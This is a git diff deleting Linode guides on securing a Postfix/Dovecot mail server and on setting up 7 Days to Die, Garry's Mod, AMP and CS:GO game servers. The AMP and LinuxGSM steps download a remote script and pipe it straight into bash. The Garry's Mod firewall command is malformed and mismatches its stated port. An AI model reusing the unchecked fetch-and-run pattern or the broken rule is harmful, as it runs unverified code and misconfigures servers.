}} - -3. Verify that your SSL certificate and key are in the locations specified in the previous step. -4. Disable plain-text authentication. In `/etc/dovecot/conf.d/10-auth.conf`, set the following line: - - {{< file "/etc/dovecot/conf.d/10-auth.conf" >}} -disable_plaintext_auth = yes - -{{< /file >}} - -5. Disable the unencrypted ports for IMAP and POP3 so that the server won't accept unencrypted connections. In `/etc/dovecot/conf.d/10-master.conf`, set: - - {{< file "/etc/dovecot/conf.d/10-master.conf" >}} -service imap-login { - inet_listener imap { - port = 0 - } - ... - } - - service pop3-login { - inet_listener pop3 { - port = 0 - } - ... - } - -{{< /file >}} - -6. Leave the `imaps` and `pop3s` ports alone (they're commented out). Their default settings are fine; you'll be able to use 993 for secure IMAP and 995 for secure POP3. -7. Restart Dovecot. -8. Try to connect to your server on Ports 110 and 143 (we recommend using Telnet). This should fail, because we just disabled the unencrypted ports. -9. Try to check your mail with SSL encryption turned on and Port 993 or 995. This should succeed. - -If you can't connect on 110 and 143, and you can connect on 993 and 995 with SSL turned on, you've succeeded in forcing encryption for all your authentication connections. Note that you will not be able to log in via Telnet at this point - you're just testing the ports. - -### SMTP - -Now that you've got authentication set up securely, you need to configure SMTP. Right now, Postfix will relay emails only if they're addressed to a domain on the server or they're sent by system users, which is sufficient for incoming mail. For outgoing mail, though, you'll want to ease the relaying restrictions so that authenticated users can send email anywhere. - -1. Open `/etc/postfix/main.cf` for editing, and then add the `smtpd_recipient_restrictions` line as shown below: - - {{< file "/etc/postfix/main.cf" >}} -smtpd_recipient_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination - -{{< /file >}} - - - {{< note respectIndent=false >}} -The `smtpd_recipient_restrictions` line lists the criteria Postfix uses to decide which emails it can relay. `permit_sasl_authenticated` allows authenticated users to send mail. It should be listed first. Next we have `permit_mynetworks`, which allows users who are already logged into the server to send mail. Finally, `reject_unauth_destination` prevents your server from delivering mail for domains for which it is not configured. **Never remove this last setting!** Basically, this means that authenticated users and local users are always allowed to send mail anywhere. Non-authenticated and non-local users are allowed to send mail only to domains for which this server is responsible. These restrictions prevent your server from being used as an open relay that can send spam from anyone to anywhere. -{{< /note >}} - -2. You'll also want to force outgoing authentication to be encrypted. Still in `/etc/postfix/main.cf`, set the following lines: - - {{< file "/etc/postfix/main.cf" >}} -smtpd_tls_cert_file=/etc/ssl/certs/dovecot.pem -smtpd_tls_key_file=/etc/ssl/private/dovecot.pem -smtpd_use_tls=yes -smtpd_tls_auth_only = yes - -{{< /file >}} - - - {{< note respectIndent=false >}} -First, you're going to tell Postfix to use Dovecot's SSL certificate and key, because some mail clients will choke if the certificates for the incoming and outgoing servers don't match. Then you're telling Postfix to use (only) TLS encryption. This means that users can connect on the standard port (25), but before they are allowed to send any authentication information, they have to establish an encrypted connection. -{{< /note >}} - -3. Make a copy of the `/etc/postfix/master.cf` file: - - cp /etc/postfix/master.cf /etc/postfix/master.cf.orig - -4. Open the configuration file for editing by entering the following command: - - nano /etc/postfix/master.cf - -5. Locate and uncomment the two lines starting with `submission` and `smtps`. This will allow you to send mail securely on ports 587 and 465, in addition to port 25 (which is also secure with our SSL setup). The first section of your `/etc/postfix/master.cf` file should resemble the following: - - {{< file "/etc/postfix/master.cf" >}} -# -# Postfix master process configuration file. For details on the format -# of the file, see the master(5) manual page (command: "man 5 master"). -# -# Do not forget to execute "postfix reload" after editing this file. -# -# ========================================================================== -# service type private unpriv chroot wakeup maxproc command + args -# (yes) (yes) (yes) (never) (100) -# ========================================================================== -smtp inet n - - - - smtpd -#smtp inet n - - - 1 postscreen -#smtpd pass - - - - - smtpd -#dnsblog unix - - - - 0 dnsblog -#tlsproxy unix - - - - 0 tlsproxy -submission inet n - - - - smtpd -# -o syslog_name=postfix/submission -# -o smtpd_tls_security_level=encrypt -# -o smtpd_sasl_auth_enable=yes -# -o smtpd_client_restrictions=permit_sasl_authenticated,reject -# -o milter_macro_daemon_name=ORIGINATING -smtps inet n - - - - smtpd -# -o syslog_name=postfix/smtps -# -o smtpd_tls_wrappermode=yes -# -o smtpd_sasl_auth_enable=yes -# -o smtpd_client_restrictions=permit_sasl_authenticated,reject -# -o milter_macro_daemon_name=ORIGINATING - -{{< /file >}} - - -6. Save the changes you've made to the `/etc/postfix/master.cf` file. -7. Restart Postfix. -8. Set up your mail client to connect to your Linode as an outgoing mail server. You should use TLS encryption, or STARTTLS if you have that option, over ports 25, 465, or 587. Your username and password are the same as they are for incoming mail. Try sending a test message. - -{{< note >}} -You will no longer be able to use Telnet for testing. If you want to run a manual test for troubleshooting purposes, you can use [openssl](http://www.openssl.org/docs/apps/s_client.html) instead. Your command should look like this (you can test on ports 465 and 587 as well): - - openssl s_client -connect example.com:25 -starttls smtp -{{< /note >}} - -Your mail server is now perfectly viable and secure. If you're happy storing all your domains and users in flat files, you can stop here. However, for the sake of making long-term maintenance easier, we suggest that you store your lists of domains, users, and aliases in MySQL databases instead. - -### MySQL for Virtual Domains, Users, and Aliases - -The final step in getting your mail server up to speed is to make it compatible with MySQL. - -1. Install MySQL and the necessary components for Postfix and Dovecot: - - apt-get install mysql-server postfix-mysql dovecot-mysql - -2. Create the three MySQL tables `virtual_domains`, `virtual_users`, and `virtual_aliases` and populate them with your data, by following the entire [MySQL section](/cloud/guides/email-with-postfix-dovecot-and-mysql/#set-up-mysql) in the main setup guide. If you prefer not to use the MySQL command line, you can install phpMyAdmin and use that instead. -3. Open `/etc/postfix/main.cf` for editing. Comment out the existing `virtual_mailbox_domains` and `virtual_mailbox_maps` lines and add these instead: - - {{< file "/etc/postfix/main.cf" >}} -#Virtual domains, users, and aliases -virtual_mailbox_domains = mysql:/etc/postfix/mysql-virtual-mailbox-domains.cf -virtual_mailbox_maps = mysql:/etc/postfix/mysql-virtual-mailbox-maps.cf -virtual_alias_maps = mysql:/etc/postfix/mysql-virtual-alias-maps.cf - -{{< /file >}} - - -4. Follow Steps 11-25 in the [Postfix section](/cloud/guides/email-with-postfix-dovecot-and-mysql/#set-up-mysql) of the main setup guide to create the `/etc/postfix/mysql-virtual-mailbox-domains.cf`, `/etc/postfix/mysql-virtual-mailbox-maps.cf`, and `/etc/postfix/mysql-virtual-alias-maps.cf` files. You will also test that Postfix can find all of this information, using the `postmap` commands. -5. Now for Dovecot. Create the file `/etc/dovecot/conf.d/auth-sql.conf.ext`. You will make a new `passdb` section that directs Dovecot to use MySQL for authentication. The `userdb` section will be identical to the one we had before, since the mailboxes aren't moving. - - {{< file "/etc/dovecot/conf.d/auth-sql.conf.ext" >}} -passdb { - driver = sql - args = /etc/dovecot/dovecot-sql.conf.ext -} -userdb { - driver = static - args = uid=vmail gid=vmail home=/var/mail/vhosts/%d/%n -} - -{{< /file >}} - - -6. Open `/etc/dovecot/dovecot-sql.conf.ext` for editing, uncomment the lines shown below, and update them with the appropriate MySQL connection information: - - {{< file "/etc/dovecot/dovecot-sql.conf.ext" >}} -driver = mysql -connect = host=127.0.0.1 dbname=mailserver user=mailuser password=mailuserpass -default_pass_scheme = SHA512-CRYPT -password_query = SELECT email as user, password FROM virtual_users WHERE email='%u'; - -{{< /file >}} - - -7. Open `/etc/dovecot/conf.d/10-auth.conf` for editing. Comment out the `!include auth-passwdfile.conf.ext` line and uncomment the `!include auth-sql.conf.ext` line. This switches your authentication from the flat file to the database: - - {{< file "/etc/dovecot/conf.d/10-auth.conf" >}} -#!include auth-system.conf.ext -!include auth-sql.conf.ext -#!include auth-ldap.conf.ext -#!include auth-passwdfile.conf.ext -#!include auth-checkpassword.conf.ext -#!include auth-vpopmail.conf.ext -#!include auth-static.conf.ext - -{{< /file >}} - - -8. Change the owner and group of the `/etc/dovecot/` directory to `vmail` and `dovecot`, recursively: - - chown -R vmail:dovecot /etc/dovecot - -9. Change the permissions on the `/etc/dovecot/` directory recursively: - - chmod -R o-rwx /etc/dovecot - -10. Open `/etc/dovecot/conf.d/10-master.conf` for editing and, in the `service auth` section, set `user = dovecot`, below the line `# Auth process is run as this user.`: - - {{< file "/etc/dovecot/conf.d/10-master.conf" >}} -service auth { -... - # Auth process is run as this user. - user = dovecot -} - -{{< /file >}} - - -11. Restart Dovecot. -12. Verify that you can still send and receive mail. Check your logs if you run into any errors. - -Now you should be caught up with the main guide and have a fully functioning Postfix, Dovecot, and MySQL mail server. Congratulations! diff --git a/docs/guides/game-servers/deploy-7-days-to-die-linux-game-server/index.md b/docs/guides/game-servers/deploy-7-days-to-die-linux-game-server/index.md deleted file mode 100644 index 85c16e9e1e9..00000000000 --- a/docs/guides/game-servers/deploy-7-days-to-die-linux-game-server/index.md +++ /dev/null @@ -1,115 +0,0 @@ ---- -slug: deploy-7-days-to-die-linux-game-server -title: "Deploying a 7 Days to Die Server on Linux" -title_meta: "How to Deploy a 7 Days to Die Server on Linux" -description: "This guide shows you how to easily install the popular online game 7 Days to Die using LinuxGSM." -authors: ["Sandro Villinger"] -contributors: ["Sandro Villinger"] -published: 2021-03-08 -keywords: ['7 days to die Linux Server'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: Deploy7DtoD_Linux.png ---- - -Even eight years after its release, the Zombie Horde Survival game [7 Days to Die](https://7daystodie.com/) (7DTD) is still going strong. Its community is active and the zombie fun hasn't stopped. The game is even better when you and your friends play on your own server, using your own rules. Plus, when you [host a game server yourself](/cloud/guides/get-started-with-linux-game-server-hosting), you don't have to worry about lag time that can interrupt your gameplay. This guide shows you how to set up your own 7DTD server, using LinuxGSM. - -![7DTD](Linux_game_7days.png) - -## Before You Begin - -1. Deploy an **Ubuntu 20.04** Linode in a [data center region](https://www.linode.com/global-infrastructure/) close to your player's geographic location. Ensure you select a [Linode plan](https://techdocs.akamai.com/cloud-computing/docs/how-to-choose-a-compute-instance-plan) with enough RAM and CPU for the game. The [7 Days to Die official documentation](https://store.steampowered.com/app/251570/7_Days_to_Die/) recommends 4 CPU cores. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -{{< note >}} -In order to play 7 Days to Die, you have to [purchase the game on Steam](https://store.steampowered.com/app/251570/7_Days_to_Die/). -{{< /note >}} - -## Deploy a Game Server Using LinuxGSM - -The Linux Game Server manager ([LinuxGSM](https://linuxgsm.com/)) is a command-line tool that helps you deploy and configure your game server. With a few scripts, it helps you to fine-tune your 7 Days to Die instance. This section shows you how to install LinuxGSM and 7 Days to Die on your Ubuntu 20.04 server. - -1. Install the LinuxGSM dependencies and Steam: - - sudo dpkg --add-architecture i386 - sudo apt update - sudo apt install curl wget file tar bzip2 gzip unzip bsdmainutils python3 util-linux ca-certificates binutils bc jq tmux netcat-traditional lib32gcc-s1 lib32stdc++6 steamcmd telnet expect - - A prompt appears with the Steam EULA. To proceed, use your keyboard's **down arrow** key to read through the agreement. Then, use the **tab** key to select ****. - -1. Create a 7 Days to Die Server system user, and add the user to the `sudo` group, and switch. - - sudo adduser sdtdserver - sudo adduser sdtdserver sudo - -1. Switch your terminal session to the new `sdtdserver` user. You can exit your current session by typing **exit**, then [SSH into your Linode](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#connect-to-the-instance) using as the `sdtdserver` user. Ensure you replace the example command with your [Linode's IP address](https://techdocs.akamai.com/cloud-computing/docs/managing-ip-addresses-on-a-compute-instance). - - ssh sdtdserver@192.0.2.0 - -1. Download LinuxGSM: - - sudo wget -O linuxgsm.sh https://linuxgsm.sh && sudo chmod +x linuxgsm.sh && bash linuxgsm.sh sdtdserver - - Your output resembles the following: - - {{< output >}} -[sudo] password for sdtdserver: ---2021-03-19 15:57:54-- https://linuxgsm.sh/ -Resolving linuxgsm.sh (linuxgsm.sh)... 2606:4700:3032::ac43:8701, 2606:4700:3031::6815:69e, 172.67.135.1, ... -Connecting to linuxgsm.sh (linuxgsm.sh)|2606:4700:3032::ac43:8701|:443... connected. -HTTP request sent, awaiting response... 301 Moved Permanently -Location: https://raw.githubusercontent.com/GameServerManagers/LinuxGSM/master/linuxgsm.sh [following] ---2021-03-19 15:57:54-- https://raw.githubusercontent.com/GameServerManagers/LinuxGSM/master/linuxgsm.sh -Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.110.133, 185.199.109.133, ... -Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected. -HTTP request sent, awaiting response... 200 OK -Length: 18675 (18K) [text/plain] -Saving to: ‘linuxgsm.sh’ - -linuxgsm.sh 100%[===================================================>] 18.24K --.-KB/s in 0.001s - -2021-03-19 15:57:54 (15.4 MB/s) - ‘linuxgsm.sh’ saved [18675/18675] - -Installed 7 Days to Die server as sdtdserver -{{}} - -1. Run the game script installer using the following command: - - ./sdtdserver install - - The prompt asks you to confirm the installation. Enter **Y** to continue. You may be prompted with a few other installation questions. LinuxGSM takes care of installing any missing dependencies and installs 7 Days to Die. You see the following output when the installation completes: - - {{< output >}} -================================= -Install Complete! - -To start server type: -./sdtdserver start -{{}} - -1. Launch 7 Days to Die with the following command: - - ./sdtdserver start - - The output displays the following: - - {{< output >}} -[ OK ] Starting sdtdserver: Applying steamclient.so sdk64 fix: 7 Days To Die -[ OK ] Starting sdtdserver: Applying steamclient.so sdk32 fix: 7 Days To Die -[ OK ] Starting sdtdserver: My Game Host -{{}} - -1. Verify that your server is online: - - ./sdtdserver details - - Your output displays its status as **ONLINE**. This means you and your friends can start playing 7DTD. - - {{< note respectIndent=false >}} -Execute the `./sdtdserver` command to get a list of all available 7 Days to Die server commands. - {{< /note >}} - -1. On your computer, use Steam to fire up the game and connect to your [Linode server's IP address](https://techdocs.akamai.com/cloud-computing/docs/managing-ip-addresses-on-a-compute-instance). - - ![7dtd server status](Linux_game_server_7dtd_server.png) - diff --git a/docs/guides/game-servers/garrys-mod-server-on-centos-7/index.md b/docs/guides/game-servers/garrys-mod-server-on-centos-7/index.md deleted file mode 100644 index 413922f7aac..00000000000 --- a/docs/guides/game-servers/garrys-mod-server-on-centos-7/index.md +++ /dev/null @@ -1,174 +0,0 @@ ---- -slug: garrys-mod-server-on-centos-7 -title: "Garry's Mod on CentOS 7" -description: "This guide provides you with step-by-step instructions for deploying a Garry's Mod Server, which enables complete control of a video game engine, on CentOS 7." -authors: ["Julian Meyer"] -contributors: ["Julian Meyer"] -published: 2015-01-21 -modified: 2019-02-01 -keywords: ["garry's mod", "centos", "centos 7"] -tags: ["centos"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/applications/game-servers/garrys-mod-server-on-centos-7/','/game-servers/garrys-mod-server-on-centos-7/'] -external_resources: -- '[SRCDS](http://www.srcds.com/)' -- '[GMod Forums](http://facepunch.com/forum.php)' -- '[GMod Wiki](http://wiki.garrysmod.com/page/Main_Page)' -dedicated_cpu_link: true ---- - -[Garry's Mod](http://www.garrysmod.com/) enables complete control and modification of the video game engine, Source Engine. With Garry's Mod, you can create almost any game you want. Setting up a Garry's Mod server is a great way to play with friends over the internet while maintaining control over the server. - -This guide shows how to create, maintain, and secure a Garry's Mod server. - -## Before You Begin - -1. You will need a [Steam](http://store.steampowered.com) account and a copy of [Garry's Mod](http://store.steampowered.com/app/4000/). - -2. Complete our guide: [Install SteamCMD for a Steam Game Server](/cloud/guides/install-steamcmd-for-a-steam-game-server/). This will get SteamCMD installed and running on your Linode and this guide will pick up where the SteamCMD page leaves off. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Prerequisites for Garry's Mod - -From the SteamCMD guide, two additional steps are needed specifically for Gmod. - -1. Add a firewall rule. This command assumes that you have **only** the firewalld rules in place from the SteamCMD guide. This inserts a rule for port 10999 after the pre-existing rules for SteamCMD. - - sudo firewall-cmd --zone=public --add-port=27000 27030/udp --permanent - -2. Install an additional 32-bit package: - - sudo yum install ncurses-libs.i686 - -## Install Garry's Mod - -1. Be sure you are in the directory `~/Steam`, then access the `Steam>` prompt. - - cd ~/Steam && ./steamcmd.sh - -2. From the SteamCMD prompt, login anonymously: - - login anonymous - - Or log in with your Steam username: - - login example_user - -3. Install Gmod to the `Steam` user's home directory: - - force_install_dir ./gmod - app_update 4020 validate - - This can take some time. If the download looks as if it has frozen, be patient. Once the download is complete, you should see this output: - - Success! App '4020' fully installed. - - Steam> - -4. Quit SteamCMD: - - quit - - {{< note respectIndent=false >}} -To update Gmod, run the above 4 commands again. -{{< /note >}} - -## Configure Garry's Mod - -This section configures different aspects of the server, including gamemode and workshop addons. - -### Startup Script - -1. Create a startup script for Gmod with the following contents: - - {{< file "~/startgmod.sh" >}} -#!/bin/sh - -cd ./Steam/gmod -screen -S "Garry's Mod Server" ./srcds_run -game garrysmod +maxplayers 20 +map gm_flatgrass - -{{< /file >}} - - - When run, the script will change directories to `~/Steam/gmod` and execute Garry's Mod in a [Screen](/cloud/guides/using-gnu-screen-to-manage-persistent-terminal-sessions/) session. The `srcds_run` binary can take many more arguments which you can see at [Valve's Developer wiki](https://developer.valvesoftware.com/wiki/Command_Line_Options#Source_Dedicated_Server). - -2. Make the script executable: - - chmod +x ~/startgmod.sh - -### Update Script - -The Garry's Mod wiki has instructions to use a script to update Gmod rather than manually through SteamCMD. See under [*Installing Garry's Mod*](http://wiki.garrysmod.com/page/Linux_Dedicated_Server_Hosting). - -### Automatic Startup After Server Reboots - -This will automatically restart Garry's Mod when your server reboots. - -1. Open Crontab (this will open in `vim`): - - crontab -e - -2. Enter the startup command. **Be sure that the binary flags are the same as in your startup script.** - - @reboot /home/steam/Steam/gmod/srcds_run -game garrysmod +maxplayers 20 +map gm_flatgrass - -3. To exit `vim`, press **Esc**, then type **:x** and hit **Enter**. - -### Server Config File - -The default `server.cfg` file is blank, and any configuration options you want to specify for the server must be added. This is optional, but below is a sane starting point. - -{{< file "~/Steam/gmod/garrysmod/cfg/server.cfg" >}} -hostname "server_hostname" -sv_password "server_password" -sv_timeout 60 -rcon_password "rcon_password" -mp_autoteambalance 1 -mp_limitteams 1 -writeid -writeip - -{{< /file >}} - - -### Workshop Addons - -1. Create a collection of addons you want to install on your server at [Garry's Mod Collections](http://steamcommunity.com/workshop/browse/?section=collections&appid=4000&p=3). You will need to be logged in to Steam. - -2. Note the collection ID. It is located at the end of the url, denoted by the 'X's here: - - http://steamcommunity.com/sharedfiles/filedetails/?id=XXXXXXXXX - -3. Acquire a Steam API key from the [Steam API Keys](http://steamcommunity.com/dev/apikey) page. Note the key. - -4. Paste the Steam API key and Workshop Collection ID into your startup script. For example: - - ./srcds_run +maxplayers 20 +gamemode terrortown +map cs_office -authkey YOURKEYGOESHERE +host_workshop_collection 157384458 - - This sets the game for the Trouble in Terrorist Town (TTT) gamemode, but can be changed to your desired gamemode, if you have it downloaded. - - For more info on Workshop Addons, see [Workshop for Dedicated Servers](http://wiki.garrysmod.com/page/Workshop_for_Dedicated_Servers) in the Garry's Mod wiki. - -## Using the Server - -1. Now that your server is installed and configured, it can be launched by running the `startgmod.sh` script from your `steam` user's home directory. - - cd ~/ && ./startgmod.sh - - {{< note type="alert" respectIndent=false >}} -From this point, do not press the **Control+C** keys while in the console unless you want to stop Gmod. -{{< /note >}} - -2. To detach from the screen session running the server console, press these two key combinations in succession: - - **Control+A** - **Control+D** - -3. To bring the console back, type the following command: - - screen -r - -4. To stop the server, bring back the Gmod console and press **CONTROL + C**. diff --git a/docs/guides/game-servers/installing-amp-game-server-management-panel/index.md b/docs/guides/game-servers/installing-amp-game-server-management-panel/index.md deleted file mode 100644 index e4d4f14f39a..00000000000 --- a/docs/guides/game-servers/installing-amp-game-server-management-panel/index.md +++ /dev/null @@ -1,105 +0,0 @@ ---- -slug: installing-amp-game-server-management-panel -title: Installing AMP for Game Server Management -description: "AMP is a game server management panel. As the successor to McMyAdmin, it provides a web interface to install games, mods, and increases server security." -authors: ["Ryan Syracuse"] -contributors: ["Ryan Syracuse"] -published: 2021-08-13 -keywords: ["minecraft", "McMyAdmin", "debian", "centos", "ubuntu", "debian 9"] -tags: ["debian, ubuntu, centos"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[CubeCoders Homepage](https://cubecoders.com/)' - - '[AMP Wiki](https://github.com/CubeCoders/AMP/wiki)' -dedicated_cpu_link: true ---- - -[AMP](https://cubecoders.com/AMP) or **Application Management Panel** is a game server management panel. It provides a graphical overlay to simplify the deployment of game servers, and serves as the next iteration of the popular Minecraft server control panel [McMyAdmin](https://www.mcmyadmin.com/). AMP provides support for third party mods, heavy focus on security, and a sleek web interface for managing your server. This guide covers the installation and configuration of a new AMP server on most Linux distributions. - -While this guide will focus on installation on Debian and Ubuntu, the [same basic process](https://cubecoders.com/AMPInstall) can be applied to other distros with some minor adjustments. - -{{< note >}} -AMP is dependent on the [purchase of a separate license through CubeCoder's website](https://cubecoders.com/AMP#buyAMP). -{{< /note >}} - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. (Optional) Configure a domain to access your management console. For more information on how to do this, see our [DNS Manager Guide](https://techdocs.akamai.com/cloud-computing/docs/dns-manager) - -## Initial Installation of AMP on the Command Line - -AMP provides a startup script that will take care of the basic installation process, and prompt the user for input for their own specific configuration. Enter the following command to initialize the script and begin the setup process: - - bash <(wget -qO- getamp.sh) - -Below is a list of prompts along with an explanation for responses: - -| Prompt | Explanation | Recommended Response | -| ----------- | ----------- | ----------- | -| System Password | This is the Password for the Linux user, not the administrator of the control panel itself. Hit `Enter` to automatically generate a password, or use a secure password of your choice. | Enter a strong password of your choice. | -| Username [admin]: | A username to be used with the control panel. | Enter a username of your choice. | -| Password: | A password for the user of the control panel. | Enter a strong password of your choice. | -| Confirm Password: | A confirmation of the password entered previously for the control panel user. | Re-enter the password entered for the control panel user. | -| Will you be running Minecraft servers on this installation? | Selecting `yes` will install the java dependencies that minecraft servers depend on. | Select `yes` if installing minecraft now or in the future. Select `no` to skip this part of the installation. | -| Will you be running applications that rely on SteamCMD? (Rust, Ark, CSGO, TF2, etc) on this installation? | Selecting `yes` will install the 32-bit libraries that SteamCMD requires. | Selecting `yes` if you plan on installing any applications that may rely on SteamCMD now or in the Future. Select `no` to skip this part of the installation. | -| Would you like to isolate your AMP instances by running them inside Docker containers? | Installing AMP instances inside of a Docker container will help to increase the security of your installation, but may have a small impact on performance | Select `yes` unless you have performance concerns. | -| Would you like AMP to be configured for use with HTTPS? | If you have set up a domain to be used with AMP, then the AMP installation script will be able to detect this and automatically install an SSL/TLS certificate using Let's Encrypt. If you do not have a domain name, then the use of an SSL/TLS certificate is not possible.| Select `yes` if you configured a domain for the server. If not, select `no`, keeping in mind that not using SSL/TLS poses a security risk to data in transit. | - -Once you have responded to all prompts, a message similar to the following will appear, displaying the chosen configuration options: - -{{< output >}} -Installation Summary: - -AMP System user: To be created -Instance Manager: To be installed -HTTPS setup: Yes -Install Java: Yes -Install 32-bit libraries: Yes -Install Docker: Yes -{{< /output >}} - -If the output matches your desired configuration, hit `Enter` for the installation to begin. You should see output on the screen outlining the installation steps as they're completed. - -When the installation script has completed, the following message will appear, prompting you to use your web browser to access the IP address or domain you used for installation over port `8080` to finish the set up process. - -{{< output >}} -[Info] ## Please browse to the instance to complete first-time setup. ## -[Info] Please visit http://example.com:8080 to continue setup. -[Info] -- Do not close this terminal -- -[Info] Waiting for user to complete first-time setup in browser... -{{< /output >}} -{{< note type="alert" >}} -**Do Not** close the terminal or exit the script until the setup process is fully completed in the browser. -{{< /note >}} - -## Completing Setup in the Web Browser - -1. After accessing your domain or IP address over port `8080`, you should see the following login page. - - ![AMP login](amplogin.png) - - Enter the username and password you set up previously and click `Login` to proceed. - -1. Follow the configuration steps as prompted selecting all defaults. Until you get to the section on installing your AMP License key. In order for AMP to work, a [license key must be purchased through CubeCoder's website](https://cubecoders.com/AMP#buyAMP) Enter the license key in the field that appears, and select `next` to proceed. - - ![AMP license](amplicense.png) - -1. Select your desired privacy settings. This includes the option to submit crash reports to AMP and/or to provide in-browser analytics to CubeCoders. When you've made your desired selection, click next to proceed. - - ![AMP privacy](ampprivacy.png) - -Once you've made your choices, the installation will complete and you can begin deploying new game servers. - -## Creating a Game Server - -1. To create a new game server, log into the dashboard and select `Instances` in the sidebar, followed by the `Create Instance` option. - - ![New AMP Instance](ampinstance.png) - -1. In the pop-up menu that appears, select the game you'd like to deploy using the dropdown menu, and select all configuration options as desired. Once all the presets are set, select the `Create Instance` button to create your new server. - - ![AMP application](ampapplication.png) diff --git a/docs/guides/game-servers/launch-a-counter-strike-global-offensive-server-on-ubuntu-18-04/index.md b/docs/guides/game-servers/launch-a-counter-strike-global-offensive-server-on-ubuntu-18-04/index.md deleted file mode 100644 index c7cc4a5b775..00000000000 --- a/docs/guides/game-servers/launch-a-counter-strike-global-offensive-server-on-ubuntu-18-04/index.md +++ /dev/null @@ -1,163 +0,0 @@ ---- -slug: launch-a-counter-strike-global-offensive-server-on-ubuntu-18-04 -title: "Running a Counter Strike Global Offensive Server on Ubuntu 18.04" -title_meta: "How to Run CS:GO Server on Ubuntu 18.04" -description: "This Counter Strike: Global Offensive (CS:GO) server guide explains how to install SteamCMD, download the dedicated server, and launch the game server." -authors: ["Linode"] -contributors: ["Linode"] -published: 2019-01-07 -keywords: ["counter strike", "counter strike global offensive", "csgo", "cs:go", "csgo server", "csgo server hosting", "steam servers", "game servers", "games", "ubuntu", "ubuntu 14.04"] -tags: ["ubuntu"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/game-servers/launch-a-counter-strike-global-offensive-server-on-ubuntu-18-04/','/applications/game-servers/csgo-server-debian-ubuntu/'] -external_resources: - - '[Valve Developer Community - Counter-Strike: Global Offensive Dedicated Servers](https://developer.valvesoftware.com/wiki/Counter-Strike:_Global_Offensive_Dedicated_Servers)' -dedicated_cpu_link: true -relations: - platform: - key: launch-counterstrike-server - keywords: - - distribution: Ubuntu 18.04 ---- - -![Launch a Counter Strike: Global Offensive (CS:GO) server on Ubuntu 18.04](launch-a-counter-strike-global-offensive-1804.png "Launch a Counter Strike: Global Offensive server on Ubuntu 18.04") - -[Counter Strike: Global Offensive](http://store.steampowered.com/app/730) (CS:GO) is a first-person shooter by Valve. Hosting your own server gives you full control over your game and game modes, so you can play the exact flavor of CS:GO you want. This guide contains instructions on how to download the dedicated server and launch the game server. - - - -## Before You Begin - -1. [Create a Linode](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) running Ubuntu 18.04. - -1. Create a [Steam](http://store.steampowered.com) account if you do not have one, and download [Counter Strike: Global Offensive](http://store.steampowered.com/app/730/) to your computer. - -1. A Steam game server login token (GSLT) is required to host a public CS:GO server. Without the token, client connections are restricted to the LAN only. [Register your GSLT](https://steamcommunity.com/dev/managegameservers) on Steam's website. Enter `730` as the App ID when creating your GSLT. Review [Steam's documentation](https://developer.valvesoftware.com/wiki/Counter-Strike:_Global_Offensive_Dedicated_Servers#Registering_Game_Server_Login_Token) for more information about GSLTs. - -1. Complete our guide: [Install SteamCMD for a Steam Game Server](/cloud/guides/install-steamcmd-for-a-steam-game-server/). This will get SteamCMD installed and running on your Linode and this guide will pick up where the SteamCMD page leaves off. - - {{< note respectIndent=false >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Prerequisites for Counter-Strike: Global Offensive - -After following the SteamCMD guide, some firewall modifications are needed specifically for CS:GO: - -1. [Stop the SteamCMD process](/cloud/guides/install-steamcmd-for-a-steam-game-server/#stop-steamcmd) if it is currently running. - -1. Replace a firewall rule to slightly extend the UDP port range available to the game. This command assumes that you have **only** the iptables rules in place from the SteamCMD guide: - - sudo iptables -R INPUT 5 -p udp -m udp --dport 26900:27030 -j ACCEPT - -1. Reconfigure iptables-persistent to ensure that your new rule persists: - - sudo dpkg-reconfigure iptables-persistent - -## Install Counter Strike: Global Offense - -1. [Run SteamCMD and login to Steam](/cloud/guides/install-steamcmd-for-a-steam-game-server/#run-steamcmd) inside a screen session. - -1. From the SteamCMD prompt, install CS:GO to the `steam` user's home directory: - - force_install_dir ./csgo-ds - app_update 740 validate - - This can take some time. If the download looks as if it has frozen, be patient. Once the download is complete, you should see this output: - - Success! App '740' fully installed. - - Steam> - -1. Exit SteamCMD: - - quit - - {{< note respectIndent=false >}} -To update CS:GO, run the above 4 commands again. -{{< /note >}} - -## Configure the Server - -1. Create a file called `server.cfg` using your preferred text editor with the contents of the following snippet. The location you should save this file to depends on how you installed SteamCMD: - - | SteamCMD Installation Method | File Location | - | ------------------- | ------------- | - | Package manager | `~/.steam/steamcmd/csgo-ds/csgo/cfg/server.cfg` | - | Manual installation | `~/Steam/csgo-ds/csgo/cfg/server.cfg` | - - The value for `hostname` will displayed to users that join your server. Replace the values of `sv_password` and `rcon_password` with two different and unique passwords that you don't use elsewhere. - - {{< file "server.cfg" aconf >}} -hostname "The name of your CS:GO server" -sv_password "server_password" -sv_timeout 60 -rcon_password "rcon_password" -mp_autoteambalance 1 -mp_limitteams 1 -writeid -writeip -{{< /file >}} - - `sv_password` is the password 